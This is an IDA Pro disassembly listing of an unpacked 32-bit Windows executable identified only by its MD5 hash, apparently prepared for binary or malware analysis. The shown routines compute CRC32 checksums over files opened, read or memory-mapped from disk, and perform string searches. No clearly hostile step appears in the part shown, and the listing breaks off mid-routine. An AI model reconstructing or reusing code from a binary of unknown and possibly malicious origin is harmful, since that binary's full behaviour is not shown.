; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 47653B5E93DD0D018B05D88C2CF9EAC0 ; File Name : u:\work\47653b5e93dd0d018b05d88c2cf9eac0_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 420000 ; Section 1. (virtual address 00001000) ; Virtual size : 00015000 ( 86016.) ; Section size in file : 00015000 ( 86016.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute TEUm segment para public 'CODE' use32 assume cs:TEUm ;org 421000h assume es:nothing, ss:nothing, ds:TEUm, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421000 proc near ; CODE XREF: sub_424AAF+28p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4332C8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421021 proc near ; CODE XREF: sub_4219B0+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4332C8 mov ecx, [ebp+var_4] call sub_4210DD mov esp, ebp pop ebp retn sub_421021 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42103D proc near ; CODE XREF: sub_424AAF+38p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_18], ecx mov [ebp+var_4], 0EDB88320h mov ecx, [ebp+var_18] call sub_4210DD push 400h call sub_431784 add esp, 4 mov [ebp+var_14], eax mov eax, [ebp+var_18] mov ecx, [ebp+var_14] mov [eax+4], ecx mov [ebp+var_C], 0 jmp short loc_421080 ; --------------------------------------------------------------------------- loc_421077: ; CODE XREF: sub_42103D+9Aj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_421080: ; CODE XREF: sub_42103D+38j cmp [ebp+var_C], 100h jge short loc_4210D9 mov eax, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_10], 8 jmp short loc_4210A1 ; --------------------------------------------------------------------------- loc_421098: ; CODE XREF: sub_42103D:loc_4210C6j mov ecx, [ebp+var_10] sub ecx, 1 mov [ebp+var_10], ecx loc_4210A1: ; CODE XREF: sub_42103D+59j cmp [ebp+var_10], 0 jle short loc_4210C8 mov edx, [ebp+var_8] and edx, 1 test edx, edx jz short loc_4210BE mov eax, [ebp+var_8] shr eax, 1 xor eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_4210C6 ; --------------------------------------------------------------------------- loc_4210BE: ; CODE XREF: sub_42103D+72j mov ecx, [ebp+var_8] shr ecx, 1 mov [ebp+var_8], ecx loc_4210C6: ; CODE XREF: sub_42103D+7Fj jmp short loc_421098 ; --------------------------------------------------------------------------- loc_4210C8: ; CODE XREF: sub_42103D+68j mov edx, [ebp+var_18] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov [eax+ecx*4], edx jmp short loc_421077 ; --------------------------------------------------------------------------- loc_4210D9: ; CODE XREF: sub_42103D+4Aj mov esp, ebp pop ebp retn sub_42103D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210DD proc near ; CODE XREF: sub_421021+13p ; sub_42103D+13p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, [eax+4] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_43177E add esp, 4 mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov esp, ebp pop ebp retn sub_4210DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421109 proc near ; CODE XREF: TEUm:004216A6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_421109 mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_10], esp mov [ebp+var_14], 1 mov [ebp+var_4], 0 mov [ebp+var_1C], 0 mov [ebp+var_18], 0 lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] push ecx call dword_433024 ; GetFileSize mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_42117B call dword_433028 ; RtlGetLastWin32Error test eax, eax jz short loc_42117B mov [ebp+var_14], 0 mov edx, [ebp+arg_4] mov dword ptr [edx], 0 mov dword ptr [edx+4], 0 jmp short loc_42119B ; --------------------------------------------------------------------------- loc_42117B: ; CODE XREF: sub_421109+50j ; sub_421109+5Aj mov eax, [ebp+var_18] xor edx, edx mov ecx, 20h call sub_431810 mov ecx, [ebp+var_1C] xor esi, esi or eax, ecx or edx, esi mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx loc_42119B: ; CODE XREF: sub_421109+70j jmp short loc_4211A7 ; --------------------------------------------------------------------------- loc_42119D: ; DATA XREF: TEUm:00434BD4o mov [ebp+var_14], 0 mov eax, offset loc_4211A7 retn ; --------------------------------------------------------------------------- loc_4211A7: ; CODE XREF: sub_421109:loc_42119Bj ; DATA XREF: sub_421109+98o mov [ebp+var_4], 0FFFFFFFFh mov al, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421109 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset sub_431D0A mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp-10h], esp mov [ebp-1Ch], ecx mov dword ptr [ebp-14h], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov dword ptr [ebp-4], 0 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+4], 0 jnz short loc_42121C mov dword ptr [ebp-18h], 0 push offset dword_434DC0 lea edx, [ebp-18h] push edx call sub_43184C ; _CxxThrowException loc_42121C: ; CODE XREF: TEUm:00421205j ; TEUm:00421241j mov eax, [ebp+8] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_421243 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] mov cl, [eax] push ecx mov ecx, [ebp-1Ch] call sub_4219E0 mov edx, [ebp+8] add edx, 1 mov [ebp+8], edx jmp short loc_42121C ; --------------------------------------------------------------------------- loc_421243: ; CODE XREF: TEUm:00421224j jmp short loc_421252 ; --------------------------------------------------------------------------- loc_421245: ; DATA XREF: TEUm:00434C2Co mov dword ptr [ebp-14h], 17h mov eax, offset loc_421252 retn ; --------------------------------------------------------------------------- loc_421252: ; CODE XREF: TEUm:loc_421243j ; DATA XREF: TEUm:0042124Co mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp+0Ch] mov ecx, [eax] not ecx mov edx, [ebp+0Ch] mov [edx], ecx mov eax, [ebp-14h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_431D1E mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, 108Ch call sub_431860 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-1084h], ecx mov dword ptr [ebp-14h], 0 push 1 lea ecx, [ebp-70h] call dword_43315C mov dword ptr [ebp-4], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov byte ptr [ebp-4], 1 mov ecx, [ebp-1084h] cmp dword ptr [ecx+4], 0 jnz short loc_4212F7 mov dword ptr [ebp-107Ch], 0 push offset dword_434DC0 lea edx, [ebp-107Ch] push edx call sub_43184C ; _CxxThrowException loc_4212F7: ; CODE XREF: TEUm:004212DAj mov eax, dword_433158 mov ecx, [eax] push ecx push 0A1h mov edx, [ebp+8] push edx lea ecx, [ebp-70h] call dword_433154 lea ecx, [ebp-70h] call dword_433140 mov [ebp-1088h], eax cmp dword ptr [ebp-1088h], 0 jnz short loc_42134D mov eax, [ebp-70h] mov ecx, [eax+4] lea ecx, [ebp+ecx-70h] call dword_433160 mov [ebp-108Ch], eax mov edx, [ebp-108Ch] mov [ebp-14h], edx jmp loc_421400 ; --------------------------------------------------------------------------- loc_42134D: ; CODE XREF: TEUm:00421327j push 1000h lea eax, [ebp-1078h] push eax lea ecx, [ebp-70h] call dword_433144 mov [ebp-1090h], eax mov ecx, [ebp-1090h] call dword_433148 mov [ebp-1094h], eax mov ecx, [ebp-1094h] mov [ebp-78h], ecx loc_421383: ; CODE XREF: TEUm:004213F5j cmp dword ptr [ebp-78h], 0 jz short loc_4213F7 mov dword ptr [ebp-74h], 0 jmp short loc_42139B ; --------------------------------------------------------------------------- loc_421392: ; CODE XREF: TEUm:004213BDj mov edx, [ebp-74h] add edx, 1 mov [ebp-74h], edx loc_42139B: ; CODE XREF: TEUm:00421390j mov eax, [ebp-74h] cmp eax, [ebp-78h] jge short loc_4213BF mov ecx, [ebp+0Ch] push ecx mov edx, [ebp-74h] mov al, [ebp+edx-1078h] push eax mov ecx, [ebp-1084h] call sub_4219E0 jmp short loc_421392 ; --------------------------------------------------------------------------- loc_4213BF: ; CODE XREF: TEUm:004213A1j push 1000h lea ecx, [ebp-1078h] push ecx lea ecx, [ebp-70h] call dword_433144 mov [ebp-1098h], eax mov ecx, [ebp-1098h] call dword_433148 mov [ebp-109Ch], eax mov edx, [ebp-109Ch] mov [ebp-78h], edx jmp short loc_421383 ; --------------------------------------------------------------------------- loc_4213F7: ; CODE XREF: TEUm:00421387j lea ecx, [ebp-70h] call dword_43314C loc_421400: ; CODE XREF: TEUm:00421348j jmp short loc_42140F ; --------------------------------------------------------------------------- loc_421402: ; DATA XREF: TEUm:00434C8Co mov dword ptr [ebp-14h], 17h mov eax, offset loc_42140F retn ; --------------------------------------------------------------------------- loc_42140F: ; CODE XREF: TEUm:loc_421400j ; DATA XREF: TEUm:00421409o mov dword ptr [ebp-4], 0 lea ecx, [ebp-70h] call dword_433140 test eax, eax jz short loc_42142C lea ecx, [ebp-70h] call dword_43314C loc_42142C: ; CODE XREF: TEUm:00421421j mov eax, [ebp+0Ch] mov ecx, [eax] not ecx mov edx, [ebp+0Ch] mov [edx], ecx mov eax, [ebp-14h] mov [ebp-1080h], eax mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-70h] call dword_433150 mov eax, [ebp-1080h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42146A proc near ; CODE XREF: sub_424AAF+46p var_102C = dword ptr -102Ch var_1028 = dword ptr -1028h var_1024 = dword ptr -1024h var_1020 = byte ptr -1020h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42146A mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, 101Ch call sub_431860 push ebx push esi push edi mov [ebp+var_10], esp mov [ebp+var_102C], ecx mov [ebp+var_18], 0 mov [ebp+var_14], 0 mov eax, [ebp+arg_4] mov dword ptr [eax], 0FFFFFFFFh mov [ebp+var_4], 0 mov ecx, [ebp+var_102C] cmp dword ptr [ecx+4], 0 jnz short loc_4214DE mov [ebp+var_1028], 0 push offset dword_434DC0 lea edx, [ebp+var_1028] push edx call sub_43184C ; _CxxThrowException loc_4214DE: ; CODE XREF: sub_42146A+57j push 0 push 8000027h push 3 push 0 push 1 push 80000000h mov eax, [ebp+arg_0] push eax call dword_433018 ; CreateFileA mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_421511 call dword_433028 ; RtlGetLastWin32Error mov [ebp+var_18], eax jmp loc_42159F ; --------------------------------------------------------------------------- loc_421511: ; CODE XREF: sub_42146A+97j push 0 lea ecx, [ebp+var_1024] push ecx push 1000h lea edx, [ebp+var_1020] push edx mov eax, [ebp+var_14] push eax call dword_43301C ; ReadFile mov [ebp+var_20], eax loc_421533: ; CODE XREF: sub_42146A+133j cmp [ebp+var_20], 0 jz short loc_42159F cmp [ebp+var_1024], 0 jz short loc_42159F mov [ebp+var_1C], 0 jmp short loc_421554 ; --------------------------------------------------------------------------- loc_42154B: ; CODE XREF: sub_42146A+10Fj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_421554: ; CODE XREF: sub_42146A+DFj mov edx, [ebp+var_1C] cmp edx, [ebp+var_1024] jnb short loc_42157B mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_1C] mov dl, [ebp+ecx+var_1020] push edx mov ecx, [ebp+var_102C] call sub_4219E0 jmp short loc_42154B ; --------------------------------------------------------------------------- loc_42157B: ; CODE XREF: sub_42146A+F3j push 0 lea eax, [ebp+var_1024] push eax push 1000h lea ecx, [ebp+var_1020] push ecx mov edx, [ebp+var_14] push edx call dword_43301C ; ReadFile mov [ebp+var_20], eax jmp short loc_421533 ; --------------------------------------------------------------------------- loc_42159F: ; CODE XREF: sub_42146A+A2j ; sub_42146A+CDj ... jmp short loc_4215AE ; --------------------------------------------------------------------------- loc_4215A1: ; DATA XREF: TEUm:00434CE4o mov [ebp+var_18], 17h mov eax, offset loc_4215AE retn ; --------------------------------------------------------------------------- loc_4215AE: ; CODE XREF: sub_42146A:loc_42159Fj ; DATA XREF: sub_42146A+13Eo mov [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_14], 0 jz short loc_4215C5 mov eax, [ebp+var_14] push eax call dword_433020 ; CloseHandle loc_4215C5: ; CODE XREF: sub_42146A+14Fj mov ecx, [ebp+arg_4] mov edx, [ecx] not edx mov eax, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_42146A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset sub_431D32 mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 38h push ebx push esi push edi mov [ebp-10h], esp mov [ebp-44h], ecx mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-18h], 0 mov dword ptr [ebp-14h], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov dword ptr [ebp-4], 0 mov ecx, [ebp-44h] cmp dword ptr [ecx+4], 0 jnz short loc_42164F mov dword ptr [ebp-40h], 0 push offset dword_434DC0 lea edx, [ebp-40h] push edx call sub_43184C ; _CxxThrowException loc_42164F: ; CODE XREF: TEUm:00421638j push 0 push 8000027h push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call dword_433018 ; CreateFileA mov [ebp-18h], eax cmp dword ptr [ebp-18h], 0FFFFFFFFh jnz short loc_421682 call dword_433028 ; RtlGetLastWin32Error mov [ebp-1Ch], eax jmp loc_4217D5 ; --------------------------------------------------------------------------- loc_421682: ; CODE XREF: TEUm:00421672j mov dword ptr [ebp-2Ch], 0 mov dword ptr [ebp-28h], 0 mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-20h], 0 lea ecx, [ebp-2Ch] push ecx mov edx, [ebp-18h] push edx call sub_421109 add esp, 8 mov [ebp-48h], al mov eax, [ebp-48h] and eax, 0FFh test eax, eax jnz short loc_4216C9 mov dword ptr [ebp-1Ch], 18h jmp loc_4217D5 ; --------------------------------------------------------------------------- loc_4216C9: ; CODE XREF: TEUm:004216BBj mov ecx, [ebp-2Ch] or ecx, [ebp-28h] test ecx, ecx jz loc_4217D5 push 0 push 0 push 0 push 2 push 0 mov edx, [ebp-18h] push edx call dword_433070 ; CreateFileMappingA mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jnz short loc_421702 call dword_433028 ; RtlGetLastWin32Error mov [ebp-1Ch], eax jmp loc_4217D5 ; --------------------------------------------------------------------------- loc_421702: ; CODE XREF: TEUm:004216F2j ; TEUm:004217D0j cmp dword ptr [ebp-28h], 0 jl loc_4217D5 jg short loc_421718 cmp dword ptr [ebp-2Ch], 0 jbe loc_4217D5 loc_421718: ; CODE XREF: TEUm:0042170Cj cmp dword ptr [ebp-28h], 0 jg short loc_421731 jl short loc_421729 cmp dword ptr [ebp-2Ch], 0A00000h jnb short loc_421731 loc_421729: ; CODE XREF: TEUm:0042171Ej mov eax, [ebp-2Ch] mov [ebp-38h], eax jmp short loc_421738 ; --------------------------------------------------------------------------- loc_421731: ; CODE XREF: TEUm:0042171Cj ; TEUm:00421727j mov dword ptr [ebp-38h], 0A00000h loc_421738: ; CODE XREF: TEUm:0042172Fj mov ecx, [ebp-38h] push ecx mov edx, [ebp-24h] push edx mov ecx, 20h mov eax, [ebp-24h] mov edx, [ebp-20h] call sub_431890 and edx, 0 push eax push 4 mov eax, [ebp-14h] push eax call dword_43306C ; MapViewOfFile mov [ebp-34h], eax mov ecx, [ebp-38h] mov [ebp-30h], ecx mov edx, [ebp-34h] mov [ebp-3Ch], edx loc_42176F: ; CODE XREF: TEUm:0042179Aj mov eax, [ebp-30h] mov ecx, [ebp-30h] sub ecx, 1 mov [ebp-30h], ecx test eax, eax jbe short loc_42179C mov edx, [ebp+0Ch] push edx mov eax, [ebp-3Ch] mov cl, [eax] push ecx mov ecx, [ebp-44h] call sub_4219E0 mov edx, [ebp-3Ch] add edx, 1 mov [ebp-3Ch], edx jmp short loc_42176F ; --------------------------------------------------------------------------- loc_42179C: ; CODE XREF: TEUm:0042177Dj mov eax, [ebp-34h] push eax call dword_433040 ; UnmapViewOfFile mov ecx, [ebp-38h] xor edx, edx mov eax, [ebp-24h] add eax, ecx mov ecx, [ebp-20h] adc ecx, edx mov [ebp-24h], eax mov [ebp-20h], ecx mov edx, [ebp-38h] xor eax, eax mov ecx, [ebp-2Ch] sub ecx, edx mov edx, [ebp-28h] sbb edx, eax mov [ebp-2Ch], ecx mov [ebp-28h], edx jmp loc_421702 ; --------------------------------------------------------------------------- loc_4217D5: ; CODE XREF: TEUm:0042167Dj ; TEUm:004216C4j ... jmp short loc_4217E4 ; --------------------------------------------------------------------------- loc_4217D7: ; DATA XREF: TEUm:00434D3Co mov dword ptr [ebp-1Ch], 17h mov eax, offset loc_4217E4 retn ; --------------------------------------------------------------------------- loc_4217E4: ; CODE XREF: TEUm:loc_4217D5j ; DATA XREF: TEUm:004217DEo mov dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-18h], 0 jz short loc_4217FB mov eax, [ebp-18h] push eax call dword_433020 ; CloseHandle loc_4217FB: ; CODE XREF: TEUm:004217EFj cmp dword ptr [ebp-14h], 0 jz short loc_42180B mov ecx, [ebp-14h] push ecx call dword_433020 ; CloseHandle loc_42180B: ; CODE XREF: TEUm:004217FFj mov edx, [ebp+0Ch] mov eax, [edx] not eax mov ecx, [ebp+0Ch] mov [ecx], eax mov eax, [ebp-1Ch] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset sub_431D3C mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, 1018h call sub_431860 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-1028h], ecx mov dword ptr [ebp-18h], 0 mov dword ptr [ebp-14h], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov dword ptr [ebp-4], 0 mov ecx, [ebp-1028h] cmp dword ptr [ecx+4], 0 jnz short loc_4218A1 mov dword ptr [ebp-1024h], 0 push offset dword_434DC0 lea edx, [ebp-1024h] push edx call sub_43184C ; _CxxThrowException loc_4218A1: ; CODE XREF: TEUm:00421884j push 0 push 8000027h push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call dword_433018 ; CreateFileA mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0FFFFFFFFh jnz short loc_4218D4 call dword_433028 ; RtlGetLastWin32Error mov [ebp-18h], eax jmp loc_421964 ; --------------------------------------------------------------------------- loc_4218D4: ; CODE XREF: TEUm:004218C4j push 0 lea ecx, [ebp-1020h] push ecx push 1000h lea edx, [ebp-101Ch] push edx mov eax, [ebp-14h] push eax call dword_43301C ; ReadFile mov [ebp-1Ch], eax loc_4218F6: ; CODE XREF: TEUm:00421962j cmp dword ptr [ebp-1Ch], 0 jz short loc_421964 cmp dword ptr [ebp-1020h], 0 jz short loc_421964 push esi push edi mov eax, [ebp+0Ch] mov ecx, [eax] mov ebx, [ebp-1028h] mov edi, [ebx+4] lea esi, [ebp-101Ch] mov ebx, [ebp-1020h] lea edx, [esi+ebx] loc_421924: ; CODE XREF: TEUm:00421937j xor eax, eax mov bl, [esi] mov al, cl inc esi xor al, bl shr ecx, 8 mov ebx, [edi+eax*4] xor ecx, ebx cmp edx, esi jnz short loc_421924 pop edi pop esi mov eax, [ebp+0Ch] mov [eax], ecx push 0 lea ecx, [ebp-1020h] push ecx push 1000h lea edx, [ebp-101Ch] push edx mov eax, [ebp-14h] push eax call dword_43301C ; ReadFile mov [ebp-1Ch], eax jmp short loc_4218F6 ; --------------------------------------------------------------------------- loc_421964: ; CODE XREF: TEUm:004218CFj ; TEUm:004218FAj ... jmp short loc_421973 ; --------------------------------------------------------------------------- loc_421966: ; DATA XREF: TEUm:00434D94o mov dword ptr [ebp-18h], 17h mov eax, offset loc_421973 retn ; --------------------------------------------------------------------------- loc_421973: ; CODE XREF: TEUm:loc_421964j ; DATA XREF: TEUm:0042196Do mov dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-14h], 0 jz short loc_42198A mov ecx, [ebp-14h] push ecx call dword_433020 ; CloseHandle loc_42198A: ; CODE XREF: TEUm:0042197Ej mov edx, [ebp+0Ch] mov eax, [edx] not eax mov ecx, [ebp+0Ch] mov [ecx], eax mov eax, [ebp-18h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219B0 proc near ; DATA XREF: TEUm:off_4332C8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_421021 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_4219D5 mov ecx, [ebp+var_4] push ecx call sub_43177E add esp, 4 loc_4219D5: ; CODE XREF: sub_4219B0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4219B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219E0 proc near ; CODE XREF: TEUm:00421233p ; TEUm:004213B8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_4] mov ecx, [eax] shr ecx, 8 mov edx, [ebp+arg_0] and edx, 0FFh mov eax, [ebp+arg_4] mov eax, [eax] and eax, 0FFh xor edx, eax mov eax, [ebp+var_4] mov eax, [eax+4] xor ecx, [eax+edx*4] mov edx, [ebp+arg_4] mov [edx], ecx mov esp, ebp pop ebp retn 8 sub_4219E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A20 proc near ; CODE XREF: sub_425D94+D0p ; sub_425D94+15Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov [ebp+var_4], 0 loc_421A30: ; CODE XREF: sub_421A20+3Cj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_421A5E mov edx, [ebp+arg_0] add edx, [ebp+var_4] movsx eax, byte ptr [edx] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_421A53 mov eax, [ebp+var_4] jmp short loc_421A61 ; --------------------------------------------------------------------------- loc_421A53: ; CODE XREF: sub_421A20+2Cj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_421A30 ; --------------------------------------------------------------------------- loc_421A5E: ; CODE XREF: sub_421A20+1Bj or eax, 0FFFFFFFFh loc_421A61: ; CODE XREF: sub_421A20+31j mov esp, ebp pop ebp retn 8 sub_421A20 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 mov [ebp-8], ecx mov dword ptr [ebp-4], 0 loc_421A77: ; CODE XREF: TEUm:00421A8Dj mov eax, [ebp+8] add eax, [ebp-4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_421A8F mov edx, [ebp-4] add edx, 1 mov [ebp-4], edx jmp short loc_421A77 ; --------------------------------------------------------------------------- loc_421A8F: ; CODE XREF: TEUm:00421A82j mov eax, [ebp-4] sub eax, 1 mov [ebp-4], eax loc_421A98: ; CODE XREF: TEUm:00421AC4j mov ecx, [ebp+8] add ecx, [ebp-4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_421AC6 mov eax, [ebp+8] add eax, [ebp-4] movsx ecx, byte ptr [eax] movsx edx, byte ptr [ebp+0Ch] cmp ecx, edx jnz short loc_421ABB mov eax, [ebp-4] jmp short loc_421AC9 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: TEUm:00421AB4j mov eax, [ebp-4] sub eax, 1 mov [ebp-4], eax jmp short loc_421A98 ; --------------------------------------------------------------------------- loc_421AC6: ; CODE XREF: TEUm:00421AA3j or eax, 0FFFFFFFFh loc_421AC9: ; CODE XREF: TEUm:00421AB9j mov esp, ebp pop ebp retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421ACF proc near ; CODE XREF: TEUm:004225F7p ; sub_4230F8+D8p ... var_2008 = dword ptr -2008h var_2004 = dword ptr -2004h var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2008h call sub_431860 mov [ebp+var_2008], ecx mov [ebp+var_2004], 0 push 2000h push 0 push offset a8b ; "8B" call sub_4318B2 ; memset add esp, 0Ch loc_421B00: ; CODE XREF: sub_421ACF:loc_421B5Ej mov eax, [ebp+arg_4] add eax, [ebp+arg_8] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_421B60 mov edx, [ebp+arg_4] add edx, [ebp+arg_8] movsx eax, byte ptr [edx] push eax push offset dword_43702C lea ecx, [ebp+var_2000] push ecx call dword_4331E4 ; sprintf add esp, 0Ch lea edx, [ebp+var_2000] push edx push offset a8b ; "8B" call dword_433074 ; lstrcatA mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax cmp [ebp+arg_C], 0 jle short loc_421B5E mov ecx, [ebp+arg_C] sub ecx, 1 mov [ebp+arg_C], ecx cmp [ebp+arg_C], 0 jnz short loc_421B5E jmp short loc_421B60 ; --------------------------------------------------------------------------- loc_421B5E: ; CODE XREF: sub_421ACF+7Cj ; sub_421ACF+8Bj jmp short loc_421B00 ; --------------------------------------------------------------------------- loc_421B60: ; CODE XREF: sub_421ACF+3Cj ; sub_421ACF+8Dj push offset a8b ; "8B" mov ecx, [ebp+arg_0] call sub_43178A mov edx, [ebp+var_2004] or edx, 1 mov [ebp+var_2004], edx mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn 10h sub_421ACF endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 230h push edi mov al, ds:byte_439C78 mov [ebp-230h], al mov ecx, 41h xor eax, eax lea edi, [ebp-22Fh] rep stosd stosb mov cl, ds:byte_439C7C mov [ebp-108h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-107h] rep stosd stosb push 104h mov edx, [ebp+8] push edx lea eax, [ebp-230h] push eax call sub_422680 add esp, 0Ch push 104h mov ecx, [ebp+0Ch] push ecx lea edx, [ebp-108h] push edx call sub_422680 add esp, 0Ch lea eax, [ebp-230h] push eax call sub_4221DB add esp, 4 cmp eax, 1 jnz short loc_421C24 push 10000000h call dword_433078 ; RtlSetLastWin32Error xor eax, eax jmp short loc_421C8D ; --------------------------------------------------------------------------- loc_421C24: ; CODE XREF: TEUm:00421C13j push 1Eh push 0 lea ecx, [ebp-128h] push ecx call sub_4318B2 